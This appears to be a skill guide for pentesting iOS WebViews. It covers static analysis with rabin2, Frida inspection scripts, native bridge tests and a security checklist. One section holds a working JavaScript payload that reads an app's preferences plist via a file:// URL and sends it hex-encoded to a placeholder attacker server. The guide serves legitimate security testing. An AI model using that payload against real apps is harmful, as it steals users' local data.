iOS WebView Pentesting
A comprehensive skill for testing iOS WebView security configurations and identifying vulnerabilities in mobile applications.
Overview
WebViews are critical components in iOS applications that display web content. They can be major attack vectors if misconfigured. This skill covers:
- UIWebView - Deprecated since iOS 12, cannot disable JavaScript, high XSS risk
- WKWebView - Modern replacement, JavaScript can be disabled, better security controls
- SFSafariViewController - Safari-based, shares cookies with Safari, JavaScript cannot be disabled
Static Analysis
Identify WebView Types in Binary
Use rabin2 to search for WebView class references:
# Find UIWebView instances
rabin2 -zz <binary> | egrep "UIWebView$"
# Find WKWebView instances
rabin2 -zz <binary> | egrep "WKWebView$"
# Find WKWebView initialization
rabin2 -zzq <binary> | egrep "WKWebView.*frame"
Check JavaScript Configuration
Verify if JavaScript is properly disabled in WKWebView:
# Search for javaScriptEnabled property
rabin2 -zz <binary> | grep -i "javascriptenabled"
Check Secure Content Settings
Ensure mixed content is prevented:
# Search for hasOnlySecureContent property
rabin2 -zz <binary> | grep -i "hasonlysecurecontent"
Find Content Loading Methods
Identify how content is loaded into WebViews:
# Find HTML loading methods
rabin2 -zz <binary> | grep -i "loadHTMLString"
# Find file loading methods
rabin2 -zz <binary> | grep -i "loadFileURL"
Dynamic Analysis
Inspect WebView Instances with Frida
Use the bundled webviews_inspector.js script to enumerate WebView instances and their configurations:
frida -U <bundle_id> -l scripts/webviews_inspector.js
This script will:
- Find all UIWebView, WKWebView, and SFSafariViewController instances
- Log URLs being loaded
- Check JavaScript enablement status
- Verify secure content settings
- Check file access permissions
Custom Frida Inspection
For targeted inspection, use these patterns:
// Find UIWebView instances
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("UIWebView found: ", ui);
console.log("URL: ", ui.request().toString());
}
});
// Find WKWebView with config details
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("WKWebView found: ", wk);
console.log("URL: ", wk.URL().toString());
console.log("JavaScript Enabled: ", wk.configuration().preferences().javaScriptEnabled());
console.log("Has Only Secure Content: ", wk.hasOnlySecureContent());
}
});
Protocol Handler Testing
Test File Access Vulnerabilities
WebViews can expose local files if misconfigured. Test for:
- File URL loading - Check if
loadFileURL:allowingReadAccessToURL:is used - Universal file access - Verify
allowUniversalAccessFromFileURLsis false - File access from file URLs - Verify
allowFileAccessFromFileURLsis false
Test Custom Protocol Handlers
Check for custom URL schemes that might expose functionality:
# Search for protocol handler implementations
rabin2 -zz <binary> | grep -i "webView:shouldStartLoadWithRequest"
JavaScript File Exfiltration Test
If JavaScript is enabled and file access is possible, test with:
// Hex encode file contents and exfiltrate
String.prototype.hexEncode = function () {
var hex, i, result = "";
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000" + hex).slice(-4);
}
return result;
};
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open("GET", "http://<attacker-server>/" + xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
};
xhr.open("GET", "file:///var/mobile/Containers/Data/Application/<app-id>/Library/Preferences/<bundle-id>.plist", true);
xhr.send(null);
Native Method Exposure Testing
JSContext Access (UIWebView)
For UIWebView, JavaScript can access native objects via JSContext:
// Objective-C access pattern
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
WKWebView Message Handlers
WKWebView uses postMessage for JavaScript-to-native communication:
// Test message handler invocation
window.webkit.messageHandlers.<handlerName>.postMessage("test data");
// Or via URL scheme
document.location = "<scheme>://<function>/<args>";
Test Native Function Exposure
- Identify message handlers - Look for
addScriptMessageHandlerin binary - Test handler invocation - Send test messages via JavaScript
- Check for sensitive operations - Look for file access, keychain, network calls
// Example test for exposed native functions
function testNativeBridge() {
try {
window.webkit.messageHandlers.javaScriptBridge.postMessage(["test", "arg1", "arg2"]);
} catch(e) {
console.log("Handler not available or error:", e);
}
}
Debugging iOS WebViews
Safari Web Inspector Setup
On iOS Device:
- Settings > Safari > Advanced > Enable Web Inspector
On macOS:
- Safari > Preferences > Advanced > Show Develop menu
Connect and Debug:
- Connect iOS device to Mac
- Launch the app
- Safari > Develop > >
Limitations:
- Requires macOS with Safari
- Only works for apps installed via Xcode (not App Store apps)
Security Checklist
- Identify all WebView types used in the app
- Verify JavaScript is disabled where not needed
- Confirm
hasOnlySecureContentis enabled - Check
allowFileAccessFromFileURLsis false - Check
allowUniversalAccessFromFileURLsis false - Test for exposed native methods
- Verify no sensitive data in WebView URLs
- Check for custom protocol handlers
- Test file:// URL loading restrictions
- Review message handler implementations
Common Vulnerabilities
- JavaScript Injection - UIWebView cannot disable JavaScript
- File Access - Improper file URL handling exposes local files
- Native Method Exposure - Sensitive functions exposed to JavaScript
- Mixed Content - HTTP content loaded in HTTPS context
- Protocol Handler Abuse - Custom schemes trigger unintended actions